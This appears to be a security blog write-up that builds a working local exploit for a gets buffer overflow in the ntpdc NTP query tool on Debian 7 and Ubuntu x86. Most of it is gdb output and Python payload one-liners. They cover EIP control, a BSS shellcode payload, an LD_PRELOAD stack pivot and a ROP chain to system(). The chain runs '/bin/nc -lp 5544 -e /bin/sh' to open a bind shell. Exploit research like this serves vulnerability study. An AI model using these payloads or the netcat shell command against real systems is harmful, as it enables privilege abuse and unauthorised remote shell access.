Alejandro Hdez (@nitr0usmx) recently tweeted about a trivial buffer overflow in ntpdc, a deprecated NTP query tool still available and packaged with any NTP install. He posted a screenshot of the crash as the result of a large buffer passed into a vulnerable gets call. After digging into it a bit, I decided it’d be a fun exploit to write, and it was. There are a few quarks to it that make it of particular interest, of which I’ve detailed below.

As noted, the bug is the result of a vulnerable gets , which can be crashed with the following:

1 2 3 $ python -c 'print "A"*600' | ntpdc ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' unknown Segmentation fault

Loading into gdb on an x86 Debian 7 system:

1 2 3 4 5 6 7 8 9 10 11 12 gdb-peda$ i r eax edx esi eax 0x41414141 0x41414141 edx 0x41414141 0x41414141 esi 0x41414141 0x41414141 gdb-peda$ x/i $eip => 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] gdb-peda$ checksec CANARY : ENABLED FORTIFY : ENABLED NX : ENABLED PIE : disabled RELRO : Partial

Notice the checksec results of the binary, now compare this to a snippet of the paxtest output:

1 2 3 4 5 6 7 8 9 10 Mode: Blackhat Linux deb7-32 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux Executable anonymous mapping : Vulnerable Executable bss : Vulnerable Executable data : Vulnerable Executable heap : Vulnerable Executable stack : Vulnerable Executable shared library bss : Vulnerable Executable shared library data : Vulnerable

And the result of Debian’s recommended hardening-check :

1 2 3 4 5 6 7 $ hardening-check /usr/bin/ntpdc /usr/bin/ntpdc: Position Independent Executable: no, normal executable! Stack protected: yes Fortify Source functions: yes (some protected functions found) Read-only relocations: yes Immediate binding: no, not found!

Interestingly enough, I discovered this oddity after I had gained code execution in a place I shouldn’t have. We’re also running with ASLR enabled:

1 2 $ cat /proc/sys/kernel/randomize_va_space 2

I’ll explain why the above is interesting in a moment.

So in our current state, we control three registers and an instruction dereferencing ESI+0x14 . If we take a look just a few instructions ahead, we see the following:

1 2 3 4 5 6 7 8 gdb-peda$ x/8i $eip => 0xb7fa1d76 <el_gets+22>: mov eax,DWORD PTR [esi+0x14] ; deref ESI+0x14 and move into EAX 0xb7fa1d79 <el_gets+25>: test al,0x2 ; test lower byte against 0x2 0xb7fa1d7b <el_gets+27>: je 0xb7fa1df8 <el_gets+152> ; jump if ZF == 1 0xb7fa1d7d <el_gets+29>: mov ebp,DWORD PTR [esi+0x2c] ; doesnt matter 0xb7fa1d80 <el_gets+32>: mov DWORD PTR [esp+0x4],ebp ; doesnt matter 0xb7fa1d84 <el_gets+36>: mov DWORD PTR [esp],esi ; doesnt matter 0xb7fa1d87 <el_gets+39>: call DWORD PTR [esi+0x318] ; call a controllable pointer

I’ve detailed the instructions above, but essentially we’ve got a free CALL. In order to reach this, we need an ESI value that at +0x14 will set ZF == 0 (to bypass the test/je) and at +0x318 will point into controlled data.

Naturally, we should figure out where our payload junk is and go from there.

1 2 3 4 5 6 7 8 9 10 11 12 13 gdb-peda$ searchmem 0x41414141 Searching for '0x41414141' in: None ranges Found 751 results, display max 256 items: ntpdc : 0x806ab00 ('A' <repeats 200 times>...) gdb-peda$ maintenance i sections [snip] 0x806a400->0x806edc8 at 0x00021400: .bss ALLOC gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08068000 r-xp /usr/bin/ntpdc 0x08068000 0x08069000 r--p /usr/bin/ntpdc 0x08069000 0x0806b000 rw-p /usr/bin/ntpdc [snip]

Our payload is copied into BSS, which is beneficial as this will remain unaffected by ASLR, further bonus points because our binary wasn’t compiled with PIE. We now need to move back -0x318 and look for a value that will set ZF == 0 with the test al,0x2 instruction. A value at 0x806a9e1 satisfies both the +0x14 and +0x318 requirements:

1 2 3 4 gdb-peda$ x/wx 0x806a9cd+0x14 0x806a9e1: 0x6c61636f gdb-peda$ x/wx 0x806a9cd+0x318 0x806ace5: 0x41414141

After figuring out the offset in the payload for ESI, we just need to plug 0x806a9cd in and hopefully we’ll have EIP:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ python -c 'print "A"*485 + "C"*4 + "A"*79 + "\xcd\xa9\x06\x08" + "C"*600' > crash.info $ gdb -q /usr/bin/ntpdc $ r < crash.info Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0x43434343 ('CCCC') ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) EIP: 0x43434343 ('CCCC') EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x43434343 [------------------------------------stack-------------------------------------] 0000| 0xbffff3cc --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) 0004| 0xbffff3d0 --> 0x806a9cd --> 0x0 0008| 0xbffff3d4 --> 0x0 0012| 0xbffff3d8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx) 0016| 0xbffff3dc --> 0x0 0020| 0xbffff3e0 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff3e4 --> 0x807b6f8 ('A' <repeats 200 times>...) 0028| 0xbffff3e8 --> 0x807d3b0 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x43434343 in ?? ()

Now that we’ve got EIP, it’s a simple matter of stack pivoting to execute a ROP payload. Let’s figure out where that "C"*600 lands in memory and redirect EIP there:

1 2 3 4 5 6 gdb-peda$ searchmem 0x43434343 Searching for '0x43434343' in: None ranges Found 755 results, display max 256 items: ntpdc : 0x806ace5 ("CCCC", 'A' <repeats 79 times>, "ͩ\006\b", 'C' <repeats 113 times>...) ntpdc : 0x806ad3c ('C' <repeats 200 times>...) [snip]

And we’ll fill it with \xcc to ensure we’re there (theoretically triggering NX):

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 $ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\xcc"*600' > crash.info $ gdb -q /usr/bin/ntpdc Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done. gdb-peda$ r < crash.info [snip] Program received signal SIGTRAP, Trace/breakpoint trap. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0xb7fabff4 --> 0x1fe40 ECX: 0xb7dc13c0 --> 0x0 EDX: 0xcccccccc ESI: 0x806a9cd --> 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) EIP: 0x806ad3d --> 0xcccccccc EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x806ad38: int 0xa9 0x806ad3a: push es 0x806ad3b: or ah,cl => 0x806ad3d: int3 0x806ad3e: int3 0x806ad3f: int3 0x806ad40: int3 0x806ad41: int3 [------------------------------------stack-------------------------------------] 0000| 0xbffff3ec --> 0xb7fa1d8d (<el_gets+45>: cmp eax,0x1) 0004| 0xbffff3f0 --> 0x806a9cd --> 0x0 0008| 0xbffff3f4 --> 0x0 0012| 0xbffff3f8 --> 0x8069108 --> 0xb7d7a4d0 (push ebx) 0016| 0xbffff3fc --> 0x0 0020| 0xbffff400 --> 0xb7c677f4 --> 0x1cce 0024| 0xbffff404 --> 0x807b9d0 ('A' <repeats 200 times>...) 0028| 0xbffff408 --> 0x807d688 ('A' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGTRAP 0x0806ad3d in ?? () gdb-peda$

Er, what? It appears to be executing code in BSS! Recall the output of paxtest/checksec/hardening-check from earlier, NX was clearly enabled. This took me a few hours to figure out, but it ultimately came down to Debian not distributing x86 images with PAE, or Physical Address Extension. PAE is a kernel feature that allows 32-bit CPU’s to access physical page tables and doubling each entry in the page table and page directory. This third level of paging and increased entry size is required for NX on x86 architectures because NX adds a single ‘dont execute’ bit to the page table. You can read more about PAE here, and the original NX patch here.

This flag can be tested for with a simple grep of /proc/cpuinfo ; on a fresh install of Debian 7, a grep for PAE will turn up empty, but on something with support, such as Ubuntu, you’ll get the flag back.

Because I had come this far already, I figured I might as well get the exploit working. At this point it was simple, anyway:

1 2 3 4 5 6 7 8 9 10 11 12 13 $ python -c 'print "A"*485 + "\x3c\xad\x06\x08" + "A"*79 + "\xcd\xa9\x06\x08" + "\x90"*4 + "\x68\xec\xf7\xff\xbf\x68\x70\xe2\xc8\xb7\x68\x30\xac\xc9\xb7\xc3"' > input2.file $ gdb -q /usr/bin/ntpdc Reading symbols from /usr/bin/ntpdc...(no debugging symbols found)...done. gdb-peda$ r < input.file [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". ***Command `AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAͩ����h����hp�ȷh0�ɷ�' unknown [New process 4396] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1". process 4396 is executing new program: /bin/dash [New process 4397] process 4397 is executing new program: /bin/nc.traditional

This uses a simple system payload with hard-coded addresses, because at this point it’s an old-school, CTF-style exploit. And it works. With this trivial PoC working, I decided to check another box I had to verify this is a common distribution method. An Ubuntu VM said otherwise:

1 2 3 4 5 6 7 $ uname -a Linux bryan-VirtualBox 3.2.0-74-generic #109-Ubuntu SMP Tue Dec 9 16:47:54 UTC 2014 i686 i686 i386 GNU/Linux $ ./checksec.sh --file /usr/bin/ntpdc RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH /usr/bin/ntpdc $ cat /proc/sys/kernel/randomize_va_space 2

Quite a different story. We need to bypass full RELRO (no GOT overwrites), PIE+ASLR, NX, SSP, and ASCII armor. In our current state, things are looking pretty grim. As an aside, it’s important to remember that because this is a local exploit, the attacker is assumed to have limited control over the system. Ergo, an attacker may inspect and modify the system in the same manner a limited user could. This becomes important with a few techniques we’re going to use moving forward.

Our first priority is stack pivoting; we won’t be able to ROP to victory without control over the stack. There are a few options for this, but the easiest option is likely going to be an ADD ESP, ? gadget. The problem with this being that we need to have some sort of control over the stack or be able to modify ESP somewhere into BSS that we control. Looking at the output of ropgadget , we’ve got 36 options, almost all of which are of the form ADD ESP, ? .

After looking through the list, I determined that none of the values led to control over the stack; in fact, nothing I injected landed on the stack. I did note, however, the following:

1 2 3 4 5 6 7 8 9 10 11 12 gdb-peda$ x/6i 0x800143e0 0x800143e0: add esp,0x256c 0x800143e6: pop ebx 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp 0x800143ea: ret gdb-peda$ x/30s $esp+0x256c 0xbffff3a4: "-1420310755.557158-104120677" 0xbffff3c1: "WINDOWID=69206020" 0xbffff3d3: "GNOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM" 0xbffff3fd: "GTK_MODULES=canberra-gtk-module:canberra-gtk-module"

These are environmental variables passed into the application and located on the program stack. Using the ROP gadget ADD ESP, 0x256c , followed by a series of register POPs, we could land here. Controlling this is easy with the help of LD_PRELOAD, a neat trick documented by Dan Rosenberg in 2010. By exporting LD_PRELOAD, we can control uninitialized data located on the stack, as follows:

1 2 3 4 5 6 7 8 9 $ export LD_PRELOAD=`python -c 'print "A"*10000'` $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file [..snip..] gdb-peda$ x/10wx $esp+0x256c 0xbfffedc8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffedd8: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffede8: 0x41414141 0x41414141 gdb-peda$

Using some pattern_create/offset magic, we can find the offset in our LD_PRELOAD string and take control over EIP and the stack:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ export LD_PRELOAD=`python -c 'print "A"*8490 + "AAAA" + "BBBB"'` $ python -c "print 'A'*485 + '\xe0\x43\x01\x80' + 'A'*79 + '\x8d\x67\x02\x80' + 'B'*600" > input.file $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x13560 EDX: 0x42424242 ('BBBB') ESI: 0x41414141 ('AAAA') EDI: 0x41414141 ('AAAA') EBP: 0x41414141 ('AAAA') ESP: 0xbffff3bc ("BBBB") EIP: 0x41414141 ('AAAA') EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x41414141 [------------------------------------stack-------------------------------------] 0000| 0xbffff3bc ("BBBB") 0004| 0xbffff3c0 --> 0x4e495700 ('') 0008| 0xbffff3c4 ("DOWID=69206020") 0012| 0xbffff3c8 ("D=69206020") 0016| 0xbffff3cc ("206020") 0020| 0xbffff3d0 --> 0x47003032 ('20') 0024| 0xbffff3d4 ("NOME_KEYRING_CONTROL=/tmp/keyring-iBX3uM") 0028| 0xbffff3d8 ("_KEYRING_CONTROL=/tmp/keyring-iBX3uM") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x41414141 in ?? ()

This gives us EIP, control over the stack, and control over a decent number of registers; however, the LD_PRELOAD trick is extremely sensitive to stack shifting which represents a pretty big problem for exploit portability. For now, I’m going to forget about it; chances are we could brute force the offset, if necessary, or simply invoke the application with env -i .

From here, we need to figure out a ROP payload. The easiest payload I can think of is a simple ret2libc. Unfortunately, ASCII armor null bytes all of them:

1 2 3 4 5 6 7 8 gdb-peda$ vmmap 0x00327000 0x004cb000 r-xp /lib/i386-linux-gnu/libc-2.15.so 0x004cb000 0x004cd000 r--p /lib/i386-linux-gnu/libc-2.15.so 0x004cd000 0x004ce000 rw-p /lib/i386-linux-gnu/libc-2.15.so gdb-peda$ p system $1 = {<text variable, no debug info>} 0x366060 <system> gdb-peda$

One idea I had was to simply construct the address in memory, then call it. Using ROPgadget, I hunted for ADD/SUB instructions that modified any registers we controlled. Eventually, I discovered this gem:

1 2 0x800138f2: add edi, esi; ret 0; 0x80022073: call edi

Using the above, we could pop controlled, non-null values into EDI/ESI, that when added equaled 0x366060 <system> . Many values will work, but I chose 0xeeffffff + 0x11366061 :

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 EAX: 0x6c61636f ('ocal') EBX: 0x41414141 ('AAAA') ECX: 0x12f00 EDX: 0x42424242 ('BBBB') ESI: 0xeeffffff EDI: 0x11366061 EBP: 0x41414141 ('AAAA') ESP: 0xbfffefb8 --> 0x800138f2 (add edi,esi) EIP: 0x800143ea (ret) EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x800143e7: pop esi 0x800143e8: pop edi 0x800143e9: pop ebp => 0x800143ea: ret 0x800143eb: nop 0x800143ec: lea esi,[esi+eiz*1+0x0] 0x800143f0: mov DWORD PTR [esp],ebp 0x800143f3: call 0x80018d20 [------------------------------------stack-------------------------------------] 0000| 0xbfffefb8 --> 0x800138f2 (add edi,esi) 0004| 0xbfffefbc --> 0x80022073 --> 0xd7ff 0008| 0xbfffefc0 ('C' <repeats 200 times>...) 0012| 0xbfffefc4 ('C' <repeats 200 times>...) 0016| 0xbfffefc8 ('C' <repeats 200 times>...) 0020| 0xbfffefcc ('C' <repeats 200 times>...) 0024| 0xbfffefd0 ('C' <repeats 200 times>...) 0028| 0xbfffefd4 ('C' <repeats 200 times>...) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x800143ea in ?? ()

As shown above, we’ve got our two values in EDI/ESI and are returning to our ADD EDI, ESI gadget. Once this completes, we return to our CALL EDI gadget, which will jump into system :

1 2 3 4 5 6 7 EDI: 0x366060 (<system>: sub esp,0x1c) EBP: 0x41414141 ('AAAA') ESP: 0xbfffefc0 --> 0xbffff60d ("/bin/nc -lp 5544 -e /bin/sh") EIP: 0x80022073 --> 0xd7ff EFLAGS: 0x217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x80022073: call edi

Recall the format of a ret2libc: [system() address | exit() | shell command] ; therefore, we need to stick a bogus exit address (in my case, junk) as well as the address of a command. Also remember, however, that CALL EDI is essentially a macro for PUSH EIP+2 ; JMP EDI . This means that our stack will be tainted with the address @ EIP+2. Thanks to this, we don’t really need to add an exit address, as one will be added for us. There are, unfortunately, no JMP EDI gadgets in the binary, so we’re stuck with a messy exit.

This culminates in:

1 2 3 4 5 6 7 8 9 10 $ export LD_PRELOAD=`python -c 'print "A"*8472 + "\xff\xff\xff\xee" + "\x61\x60\x36\x11" + "AAAA" + "\xf2\x38\x01\x80" + "\x73\x20\x02\x80" + "\x0d\xf6\xff\xbf" + "C"*1492'` $ gdb -q /usr/bin/ntpdc gdb-peda$ r < input.file [snip all the LD_PRELOAD crap] [New process 31184] [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". process 31184 is executing new program: /bin/dash [New process 31185] process 31185 is executing new program: /bin/nc.traditional

Success! Though this is a very dirty hack, and makes no claim of portability, it works. As noted previously, we can brute force the image base and stack offsets, though we can also execute the binary with an empty environment and no stack tampering with env -i , giving us a much higher chance of hitting our mark.

Overall, this was quite a bit of fun. Although ASLR/PIE still poses an issue, this is a local bug that brute forcing and a little investigation can’t take care of. NX/RELRO/Canary/SSP/ASCII Armor have all been successfully neutralized. I hacked up a PoC that should work on Ubuntu boxes as configured, but it brute forces offsets. Test runs show it can take up to 2 hours to successfully pop a box. Full code can be found below.